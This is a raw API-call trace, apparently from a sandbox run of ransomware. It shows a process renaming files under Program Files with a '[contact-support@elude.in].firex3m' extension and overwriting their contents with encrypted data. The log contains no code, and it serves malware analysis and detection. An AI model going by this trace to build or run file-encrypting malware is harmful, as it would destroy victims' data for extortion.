SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.352] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.353] CloseHandle (hObject=0x4e8) returned 1 [0235.353] GetProcessHeap () returned 0x630000 [0235.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc830 | out: hHeap=0x630000) returned 1 [0235.353] GetProcessHeap () returned 0x630000 [0235.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbd20 | out: hHeap=0x630000) returned 1 [0235.353] GetProcessHeap () returned 0x630000 [0235.353] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0235.353] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x523a2425, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x69bfd20, dwReserved1=0x6dbd20, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f80 [0235.353] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0235.353] Sleep (dwMilliseconds=0x1) [0235.436] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml") returned 1 [0235.436] GetProcessHeap () returned 0x630000 [0235.436] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5048) returned 0x6fe3bb0 [0235.436] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.437] CloseHandle (hObject=0x4bc) returned 1 [0235.437] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.437] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.438] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0235.438] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.439] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-za\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0235.439] GetProcessHeap () returned 0x630000 [0235.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2830 [0235.439] GetProcessHeap () returned 0x630000 [0235.439] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e2500 [0235.439] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.439] ReadFile (in: hFile=0x4bc, lpBuffer=0x6e2830, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2830*, lpNumberOfBytesRead=0x69bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.441] GetProcessHeap () returned 0x630000 [0235.441] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0235.441] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.441] WriteFile (in: hFile=0x4bc, lpBuffer=0x6e2500*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e2500*, lpNumberOfBytesWritten=0x69bff0c*=0x160, lpOverlapped=0x0) returned 1 [0235.441] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.441] WriteFile (in: hFile=0x4bc, lpBuffer=0x6e265f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e265f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.441] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.442] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.442] CloseHandle (hObject=0x4bc) returned 1 [0235.442] GetProcessHeap () returned 0x630000 [0235.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2500 | out: hHeap=0x630000) returned 1 [0235.442] GetProcessHeap () returned 0x630000 [0235.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e2830 | out: hHeap=0x630000) returned 1 [0235.442] GetProcessHeap () returned 0x630000 [0235.442] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.442] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52487426, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e, dwReserved0=0x69bfd20, dwReserved1=0x6e2830, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5040 [0235.442] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.442] Sleep (dwMilliseconds=0x1) [0235.533] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9", len=0x6d | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9") returned 1 [0235.533] GetProcessHeap () returned 0x630000 [0235.533] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5038) returned 0x6fe3bb0 [0235.534] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\05DBE9EA-EF75-43DB-8A03-27898B59D1E9" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\05dbe9ea-ef75-43db-8a03-27898b59d1e9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.539] Sleep (dwMilliseconds=0x1) [0235.547] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat", len=0x67 | out: pbstr=0x69bff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0235.547] GetProcessHeap () returned 0x630000 [0235.547] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5030) returned 0x6fe3bb0 [0235.547] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.547] Sleep (dwMilliseconds=0x1) [0235.569] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml") returned 1 [0235.569] GetProcessHeap () returned 0x630000 [0235.569] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5018) returned 0x6fe3bb0 [0235.569] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec [0235.570] CloseHandle (hObject=0x5ec) returned 1 [0235.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.570] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.664] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.665] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0235.680] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.735] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-nz\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0235.735] GetProcessHeap () returned 0x630000 [0235.735] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666658 [0235.735] GetProcessHeap () returned 0x630000 [0235.735] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x666d90 [0235.735] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.735] ReadFile (in: hFile=0x4c0, lpBuffer=0x666658, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x666658*, lpNumberOfBytesRead=0x69bff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.756] GetProcessHeap () returned 0x630000 [0235.756] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0235.757] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.757] WriteFile (in: hFile=0x4c0, lpBuffer=0x666d90*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x666d90*, lpNumberOfBytesWritten=0x69bff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.757] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.757] WriteFile (in: hFile=0x4c0, lpBuffer=0x666faf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x666faf*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.757] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.757] WriteFile (in: hFile=0x4c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.757] CloseHandle (hObject=0x4c0) returned 1 [0235.757] GetProcessHeap () returned 0x630000 [0235.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666d90 | out: hHeap=0x630000) returned 1 [0235.757] GetProcessHeap () returned 0x630000 [0235.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x666658 | out: hHeap=0x630000) returned 1 [0235.757] GetProcessHeap () returned 0x630000 [0235.757] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0235.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.757] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x527827d3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x69bfd20, dwReserved1=0x666658, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0235.758] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.758] Sleep (dwMilliseconds=0x1) [0235.900] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html", len=0x78 | out: pbstr=0x69bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html") returned 1 [0235.900] GetProcessHeap () returned 0x630000 [0235.900] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f8c) returned 0x6fe3bb0 [0235.900] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0235.901] CloseHandle (hObject=0x6cc) returned 1 [0235.901] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.901] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.902] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.902] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x390031, dwReserved1=0x380039, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d54c0 [0235.902] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0235.902] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0235.902] GetProcessHeap () returned 0x630000 [0235.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x743e078 [0235.902] GetProcessHeap () returned 0x630000 [0235.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x74a9e90 [0235.903] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.903] ReadFile (in: hFile=0x6cc, lpBuffer=0x743e078, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x743e078*, lpNumberOfBytesRead=0x69bff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0243.362] GetProcessHeap () returned 0x630000 [0243.362] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b5e0 [0243.370] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.370] WriteFile (in: hFile=0x6cc, lpBuffer=0x74a9e90*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74a9e90*, lpNumberOfBytesWritten=0x69bff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0243.370] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.370] WriteFile (in: hFile=0x6cc, lpBuffer=0x74b3f2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74b3f2f*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0243.370] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0243.370] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0243.370] CloseHandle (hObject=0x6cc) returned 1 [0243.370] GetProcessHeap () returned 0x630000 [0243.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74a9e90 | out: hHeap=0x630000) returned 1 [0243.371] GetProcessHeap () returned 0x630000 [0243.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x743e078 | out: hHeap=0x630000) returned 1 [0243.371] GetProcessHeap () returned 0x630000 [0243.371] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b5e0 | out: hHeap=0x630000) returned 1 [0243.371] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.371] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, 